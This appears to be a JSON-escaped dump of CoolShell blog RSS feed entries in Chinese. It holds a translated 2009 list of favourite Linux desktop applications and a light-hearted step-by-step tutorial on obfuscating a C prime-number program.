href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><a href=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-627\" title=\"ubuntu-logo1\" src=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg\" alt=\"ubuntu-logo1\" width=\"184\" height=\"171\" /></a></strong><br />\n下面是关于Linux桌面环境下，目前为止最完美的部分。之所以说他们完美，是因为他们不但很养眼，而且也使用最好的多媒体技术，有最好的可用性。在某些方面，他们甚至超过了Windows和Mac-OS。</p>\n<p> <br />\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1.jpg\"></a></p>\n<h2><strong>基础</strong></h2>\n<p><a href=\"http://www.debian.org/\"><span style=\"color: #000000;\">Debian</span></a> 或是 <a href=\"http://www.ubuntu.com/\"><span style=\"color: #000000;\">Ubuntu</span></a>。这两个分发包是目前使用最广泛的Linux桌面操作系统的分发包了。</p>\n<p><span id=\"more-936\"></span></p>\n<h2><strong>软件包管理器</strong></h2>\n<p>因为我们使用debian……所以<a href=\"http://en.wikipedia.org/wiki/Advanced_Packaging_Tool\"><span style=\"color: #000000;\">apt</span></a> 必然是软件包管理器中最不错的一个。</p>\n<h2><strong><a href=\"http://lunduke.com/wp-content/uploads/2009/05/gnome2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-628\" title=\"gnome2\" src=\"http://lunduke.com/wp-content/uploads/2009/05/gnome2.png\" alt=\"gnome2\" width=\"280\" height=\"280\" /></a>桌面环境</strong></h2>\n<p>这可能是最难的一个了。</p>\n<p><a href=\"http://www.kde.org/\"><span style=\"color: #000000;\">KDE4</span></a> 是出色的，相当的出色。</p>\n<p><a href=\"http://www.qtsoftware.com/products/\"><span style=\"color: #000000;\">QT</span></a>, 基于Gnome建造，也非常出色。</p>\n<p>而在稳重方面， <a href=\"http://www.gnome.org/\"><span style=\"color: #000000;\">Gnome</span></a> 桌面则是桌面中更为出色的。</p>\n<p>而且，许多的应用基本上来说都是基于 <a href=\"http://www.gtk.org/\"><span style=\"color: #000000;\">GTK</span></a> 开发的，而GTK则是基于GNOME桌面环境的。</p>\n<p>所以，我们在这里选择 Gnome 作为最完美的图形桌面。对于KDE，只能非常抱歉了。</p>\n<p> </p>\n<h2><strong>快捷任务条（Dock）</strong></h2>\n<p>也许你并不喜欢docks，不过其的确可以帮你更方便地使用图形界面。</p>\n<p><a href=\"http://www.cairo-dock.org/index.php\"><span style=\"color: #000000;\">CairoDock</span></a>吗？ 当然，非常不错。那么  <a href=\"http://wiki.awn-project.org/\"><span style=\"color: #000000;\">AWN</span></a> 呢？  也不错。它们都有不同的很不错的功能。</p>\n<p>但是，因为我们选择了Gnome桌面，所以<a href=\"http://do.davebsd.com/\"><span style=\"color: #000000;\">Gnome-Do</span></a> 在这其中则是最完美的。</p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/docky1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-634\" title=\"docky1\" src=\"http://lunduke.com/wp-content/uploads/2009/05/docky1.jpg\" alt=\"docky1\" width=\"472\" height=\"104\" /></a></p>\n<h2><strong>字体</strong></h2>\n<p>Linux默认的字体必需要被改变。你可以从 <a href=\"http://www.blambot.com/\"><span style=\"color: #000000;\">Blambot</span></a>获得一些相当不错的字体。</p>\n<p> </p>\n<p> </p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/jupiteroneioss3.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-636\" title=\"jupiteroneioss3\" src=\"http://lunduke.com/wp-content/uploads/2009/05/jupiteroneioss3-300x191.png\" alt=\"jupiteroneioss3\" width=\"300\" height=\"191\" /></a><strong>风格/ 图标</strong></p>\n<p>这里有一些 <a href=\"http://www.gnome-look.org/\"><span style=\"color: #000000;\">怪异的但令人惊叹</span></a> 的风格和图标可以装典你的桌面。你可以挑选几个来美化你的桌面，的确很不错哦。</p>\n<p>在这样漂亮的桌面和背景下工作，你的心情都会变得轻松起来。</p>\n<p> </p>\n<h2><strong>应用商店（Application Store）</strong></h2>\n<p>你是不是早已听说过这个东西啦？</p>\n<p>我们需要重要Linux发行包可以被简单的拼装起来，并且包含一个“应用商店”（一个不错的桌面应用，用户可以容易地购买商业的软件和服务）。</p>\n<p>看看这个吧  <a href=\"http://www.cnr.com/\"><span style=\"color: #000000;\">Click N Run</span></a>。的确存在，基于Ubuntu。</p>\n<p> </p>\n<h2><strong>Office 套件</strong></h2>\n<p>这可能是最难的一个了。新面世的<a href=\"http://www.koffice.org/wordpress/\"><span style=\"color: #000000;\">KOffice</span></a> 的确是非常不错的。但是 <a href=\"http://www.openoffice.org/\"><span style=\"color: #000000;\">OpenOffice</span></a> 可能更好一些，必竟年头也最长，Bug和性能各方面应该都比较好。</p>\n<h2>音频/ 视频框架</h2>\n<p>让我们站在高山之上大喊这句话：  <a href=\"http://www.gstreamer.net/\"><span style=\"color: #000000;\">GStreamer</span></a> 是王中之王。</p>\n<p> <br />\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/screenshot-miro.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-639\" title=\"screenshot-miro\" src=\"http://lunduke.com/wp-content/uploads/2009/05/screenshot-miro-300x223.png\" alt=\"screenshot-miro\" width=\"300\" height=\"223\" /></a></p>\n<h2><strong>视频播放器</strong></h2>\n<p>有一个令人惊讶的播放器叫 <a href=\"http://www.getmiro.com/\"><span style=\"color: #000000;\">Miro</span></a> （原来叫做 Democracy Player）</p>\n<p>如果你的Linux安装了它，那么你的Linux就会变成一个最Cool的桌面系统，你可以相当轻松地找到并查看在线的视频。</p>\n<p> </p>\n<p> </p>\n<h2><strong>多媒体中心</strong></h2>\n<p>Windows 有一个<a href=\"http://en.wikipedia.org/wiki/Windows_Media_Center\"><span style=\"color: #000000;\">Windows Media Center</span></a>.  OS X 有<a href=\"http://en.wikipedia.org/wiki/Front_Row_(software)\"><span style=\"color: #000000;\">Front Row</span></a>.</p>\n<p>那么Linux下有什么？目前来说…… 几乎所有的Linux发行版没有包含这类应用。</p>\n<p>不过，我们依然有一些选择。</p>\n<p>我的选择是 <a href=\"http://www.moovida.com/\"><span style=\"color: #000000;\">Moovida</span></a> （正式的：Elisa）  它是有商业资助的，使用GStreamer。它比Apple的 Front Row更为强大。而且，其看上去很不错。</p>\n<p> <br />\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/banshee-slide-dap.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-640\" title=\"banshee-slide-dap\" src=\"http://lunduke.com/wp-content/uploads/2009/05/banshee-slide-dap-300x219.png\" alt=\"banshee-slide-dap\" width=\"300\" height=\"219\" /></a></p>\n<h2>音频播放器</h2>\n<p><a href=\"http://banshee-project.org/\"><span style=\"color: #000000;\">Banshee</span></a>，看看它到底有多简单。</p>\n<p>是的，是的，我知道。  <a href=\"http://amarok.kde.org/\"><span style=\"color: #000000;\">Amarok</span></a> 相当的不错。而且 <a href=\"http://projects.gnome.org/rhythmbox/\"><span style=\"color: #000000;\">Rhythmbox</span></a> 也很不错.</p>\n<p>不过 Banshee 更好一些，因为它被设计成为让用户有更多的选择可以去管理他们的音乐库。因为，当你的音频文件多起来时，你会发现，你是多么需要这样一个强大的管理功能的播放器啊。</p>\n<p> </p>\n<h2><strong>音频编辑器</strong></h2>\n<p>目前看下来，在音频编辑方面，Linux并不是很优秀，不过我们依然可以看到<a href=\"http://ardour.org/\"><span style=\"color: #000000;\">Ardour</span></a> 这样令人惊叹的软件，即使其功能还不是那么的强大。</p>\n<p>不过你可以试试<a href=\"http://www.jokosher.org/\"><span style=\"color: #000000;\">Jokosher</span></a>。这是一个很简单的但比较平常的音频编辑器。</p>\n<p> <br />\n<img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-573\" title=\"400px-capture-pitivi_v01301\" src=\"http://lunduke.com/wp-content/uploads/2009/05/400px-capture-pitivi_v01301-300x220.jpg\" alt=\"400px-capture-pitivi_v01301\" width=\"300\" height=\"220\" /></p>\n<h2><strong>视频编辑器</strong></h2>\n<p><a href=\"http://www.pitivi.org/wiki/Main_Page\"><span style=\"color: #000000;\">Pitivi</span></a>. 商业资助的。一个绝对超前的。可以用于Gstreamer 的。如果让其和 <a href=\"http://en.wikipedia.org/wiki/IMovie\"><span style=\"color: #000000;\">iMovie</span></a>来比较的话，Pitivi依然是超前的… 不过，如果我们关注于其它关键应用，那么，这两个编辑器就难分高下了。</p>\n<h2><strong>图片管理器</strong></h2>\n<p><a href=\"http://f-spot.org/Main_Page\"><span style=\"color: #000000;\">F-Spot</span></a>. 不多说了，你试试就知道了。</p>\n<p> </p>\n<p> <br />\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/yofrankie10.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-643\" title=\"yofrankie10\" src=\"http://lunduke.com/wp-content/uploads/2009/05/yofrankie10-300x173.jpg\" alt=\"yofrankie10\" width=\"300\" height=\"173\" /></a></p>\n<h2>游戏</h2>\n<p>几乎所有的Linux发行版都会带有一堆游戏，当然这些游戏几乎没人去玩。</p>\n<p>下面是几个非常不错的游戏，值得你去试试。</p>\n<p>第一个是 <a href=\"http://www.yofrankie.org/\"><span style=\"color: #000000;\">Yo Frankie!</span></a> 这个游戏可以展示你的Linux在游戏方面比起别的操作系统来说也是非常有能力的。</p>\n<p>而<a href=\"http://www.hedgewars.org/\"><span style=\"color: #000000;\">Hedgewars</span></a> 游戏则相当搞笑的。如果你和几个有一些联网的话，这个游戏也是非常搞笑的。</p>\n<p> <a href=\"http://www.frozen-bubble.org/\"><span style=\"color: #000000;\">Frozen Bubble</span></a> 可能是另一个有些意思的游戏。你可以去试试。</p>\n<p> <br />\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/empathy-chat-theme.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-644\" title=\"empathy-chat-theme\" src=\"http://lunduke.com/wp-content/uploads/2009/05/empathy-chat-theme-300x245.png\" alt=\"empathy-chat-theme\" width=\"300\" height=\"245\" /></a></p>\n<h2><strong>聊天</strong></h2>\n<p>这个领域绝对不是 <a href=\"http://www.pidgin.im/\"><span style=\"color: #000000;\">Pidgin</span></a>.  Pidgin 已经出局了。</p>\n<p>如果是 <a href=\"http://live.gnome.org/Empathy\"><span style=\"color: #000000;\">Empathy</span></a>，它有更好一些的设计。</p>\n<p>那么，音频和视频聊天呢？</p>\n<p><a href=\"http://www.gnomemeeting.org/\"><span style=\"color: #000000;\">Ekiga</span></a>吗？  不是.</p>\n<p><a href=\"http://www.skype.com/\"><span style=\"color: #000000;\">Skype</span></a>吗？</p>\n<p>你说什么？Skype没有开源啊。是的，我们知道，不过Skype是其中表现最为出色的。而且，其用户群是非常大的。包括和电话互联，以及便宜的国际长途。</p>\n<h2><strong>浏览器</strong></h2>\n<p><a href=\"http://www.mozilla.com/firefox/\"><span style=\"color: #000000;\">Firefox</span></a>，不是吗？不用多解释了吧。</p>\n<p> </p>\n<h2><strong>电子邮件</strong></h2>\n<p><a href=\"http://projects.gnome.org/evolution/\"><span style=\"color: #000000;\">Evolution</span></a> 并不仅仅是漂亮。它也可以和Gnome桌面集成。</p>\n<h2><strong>开发环境</strong></h2>\n<p>Windows 程序员有 <a href=\"http://en.wikipedia.org/wiki/Microsoft_Visual_Studio\"><span style=\"color: #000000;\">Visual Studio</span></a>.  Mac 程序员有 <a href=\"http://en.wikipedia.org/wiki/Xcode\"><span style=\"color: #000000;\">XCode</span></a>.</p>\n<p>当然，Linux下也有很多。挑选一个很不错的开发环境，我们当然需要有一些标准的规则。有一个“标准”是，开发工具应该是和操作系统紧密结合的，而且需要有一堆可用的工具，这样可以避免程序员再重新发明轮子。</p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/ss-stetic.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-646\" title=\"ss-stetic\" src=\"http://lunduke.com/wp-content/uploads/2009/05/ss-stetic-300x216.png\" alt=\"ss-stetic\" width=\"300\" height=\"216\" /></a>Linux下有太多这样的开发工具了。  <a href=\"http://en.wikipedia.org/wiki/Qt_Creator\"><span style=\"color: #000000;\">QT Creator</span></a> 可能是其中最好的，但是它只能在 Gnome 桌面环境下使用。</p>\n<p>那么，最容易得到和有丰富功能的IDE又是什么呢？</p>\n<p><a href=\"http://monodevelop.com/\"><span style=\"color: #000000;\">MonoDevelop</span></a>.</p>\n<p>是的， 我知道有人说过 “Mono is bad cuz of teh Microsoft.” 不过，如果你确实地相信这句话，那么你自然也就不是一个专业的程序员，而且，你可能在很多地方都在焦虑着一些事情。</p>\n<p>MonoDevelop 是一个很不错的IDE开发工具。希望你能试试。</p>\n<p>文章：<a href=\"http://lunduke.com/?p=616\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/936.html\">最完美的Linux桌面软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/936.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-42.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 42 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=42\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 06 Dec 2011 02:49:01 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>如何加密/混乱C源代码</title>\n\t\t<link>https://coolshell.cn/articles/933.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/933.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 30 May 2009 07:30:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=933</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前发表了《6个变态的C语言Hello World程序》[酷壳链接] [CSDN链接]，主要是是像大家展示了一些C语言的变态玩法。也向大家展示了一下程序是可以写...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/933.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前发表了《<strong>6个变态的C语言Hello World程序</strong>》[<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">酷壳链接</a>] [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx\" target=\"_blank\">CSDN链接</a>]，主要是是像大家展示了一些C语言的变态玩法。也向大家展示了一下程序是可以写得让人看不懂的，在那篇文章中，可以看到很多人的留言，很多人都觉得很好玩，是的，那本来是用来<span style=\"color: #000000;\">供朋友们“消遣作乐”，供娱乐娱东而已，不必太过认真。</span></p>\n<p>不过，通过这种极端的写法，大家可以看到源代码都可以写得那么复杂难懂的。大家也许在赞叹之余一笑了之，而我则希望，大家能够在娱乐以后认真思考一下，你不要以为咱们自己不会把代码搞得那么复杂，只不过没有像那6个Hello World一样那么极端，不过，说句老实话，<strong>咱们每个程序都有把清晰的程序搞得一团混乱的潜能，只不过程度不一样罢了，我并不是在这里危言耸听，大家好自为之</strong>。</p>\n<p>下面是一个Step by Step的教程，教你如何把一个清晰的代码变得复杂难懂的。当然，这只是一个“简明教程”了。还是那句话——“<span style=\"color: #800000;\">本文仅供朋友们“消遣作乐”，如果你要觉得有意思的话，顶个贴。如果你觉得没什么意思的话，一笑了之。仅供娱乐而已，不必太过认真。</span>”</p>\n<p><span id=\"more-933\"></span></p>\n<h4>开始程序</h4>\n<p>下面是一个找出素数的程序：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid primes(int cap)\n{\n    int i, j, composite;\n\n    for(i = 2; i &lt; cap; ++i) {\n        composite = 0;\n        for(j = 2; j * j &lt; i; ++j) {\n            composite += !(i % j);\n        }\n        if(!composite){\n            printf(&quot;%dt&quot;, i);\n        }\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n</pre>\n<p>下面我们来看看如何把上面这段代码搞得复杂难懂。</p>\n<h4>第一步、把for变成while</h4>\n<p>通常来说，for循坏要以while循坏简单一些，上面的程序有二重for循环，我们不但要把其变成while循环，而且还要把二重循环的变成一重的循环，然后使用大量的if-else语句来判断。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid primes(int cap)\n{\n    int i, j, composite, t = 0;\n\n    while(t &lt; cap * cap) {\n        i = t / cap;\n        j = t++ % cap;\n        if(i &lt;= 1);\n        else if(!j)\n            composite = j;\n        else if(j == i &amp;&amp; !composite)\n            printf(&quot;%dt&quot;,i);\n        else if(j &gt; 1 &amp;&amp; j &lt; i)\n            composite += !(i % j);\n    }\n}\n\nint main()\n{\n    primes(100);\n}\n</pre>\n<h4>第二步，把循坏变成递归</h4>\n<p>递归在某些时候是可以把代码变得简单，但大多数的情况下是把代码变得复杂，而且很没有效率。下面是把上面的while循环变成了递归。变成了递归后，函数的参数都变成3个了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid primes(int cap, int t, int composite)\n{\n    int i,j;\n    i = t / cap;\n    j = t % cap;\n    if(i &lt;= 1)\n        primes(cap,t+1,composite);\n    else if(!j)\n        primes(cap,t+1,j);\n    else if(j == i &amp;&amp; !composite)\n        (printf(&quot;%dt&quot;,i), primes(cap,t+1,composite));\n    else if(j &gt; 1 &amp;&amp; j &lt; i)\n        primes(cap,t+1, composite + !(i % j));\n    else if(t &lt; cap * cap)\n        primes(cap,t+1,composite);\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第三步，弄乱代码结构/使用没有含义的变量名</h4>\n<p>关于如何弄乱代码结构，其中一个小技巧是，使用“？”表达式代替if-else语句。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid primes(int m, int t, int c)\n{\n    int i,j;\n    i = t / m;\n    j = t % m;\n    (i &lt;= 1) ? primes(m,t+1,c) : (!j) ? primes(m,t+1,j) : (j == i &amp;&amp; !c) ?\n    (printf(&quot;%dt&quot;,i), primes(m,t+1,c)) : (j &gt; 1 &amp;&amp; j &lt; i) ?\n    primes(m,t+1,c + !(i % j)) : (t &lt; m * m) ? primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第四步，取消临时变量</h4>\n<p>临时变量一般用来保存反复使用的一个表达式的值。使用大量重复的表达式来取消这些临时变量的也可以让代码复杂起来。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid primes(int m, int t, int c)\n{\n  ((t / m) &lt;= 1) ? primes(m,t+1,c) : !(t % m) ? primes(m,t+1, t % m) :\n  ((t % m)==(t / m) &amp;&amp; !c) ? (printf(&quot;%dt&quot;,(t / m)), primes(m,t+1,c)) :\n  ((t % m)&gt; 1 &amp;&amp; (t % m) &lt; (t / m)) ? primes(m,t+1,c + !((t / m) % (t % m))) :\n  (t &lt; m * m) ? primes(m,t+1,c) : 0;\n}\n\nint main()\n{\n    primes(100,0,0);\n}\n</pre>\n<h4>第五步，继续弄乱变量名</h4>\n<p>我们知道，下划线是合法的变量名，所以，我们不妨用__，___，____来代替m，t，c。函数名也可以使用下划线来代替。让我们来看看求素数的函数能变成什么。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid _(int __, int ___, int ____)\n{\n    ((___ / __) &lt;= 1) ? _(__,___+1,____) : !(___ % __) ? _(__,___+1,___ % __) :\n    ((___ % __)==(___ / __) &amp;&amp; !____) ? (printf(&quot;%dt&quot;,(___ / __)),\n    _(__,___+1,____)) : ((___ % __) &gt; 1 &amp;&amp; (___ % __) &lt; (___ / __)) ?\n    _(__,___+1,____ + !((___ / __) % (___ % __))) : (___ &lt; __ * __) ?\n    _(__,___+1,____) : 0;\n}\n\nint main()\n{\n    _(100,0,0);\n}\n</pre>\n<h4>第六步，移除常量</h4>\n<p>在上面的程序中，还有一些常量，你可以通过增加一个宏定义，或是增加一个函数的形参来取代这一常量。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid _(int __, int ___, int ____, int _____)\n{\n    ((___ / __) &lt;= _____) ? _(__,___+_____,____,_____) : !(___ % __) ? _(__,___+_____,___ % __, _____) :\n    ((___ % __)==(___ / __) &amp;&amp; !____) ? (printf(&quot;%dt&quot;,(___ / __)),\n    _(__,___+_____,____,_____)) : ((___ % __) &gt; _____ &amp;&amp; (___ % __) &lt; (___ / __)) ?\n    _(__,___+_____,____,_____ + !((___ / __) % (___ % __))) : (___ &lt; __ * __) ?\n    _(__,___+_____,____,_____) : 0;\n}\n\nint main() {\n    _(100,0,0,1);\n}\n</pre>\n<p>程序到这里应该差不多了。还是那句话——“<strong>每一个程序员都有把源代码弄复杂的潜质</strong>”，大家好自为之。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 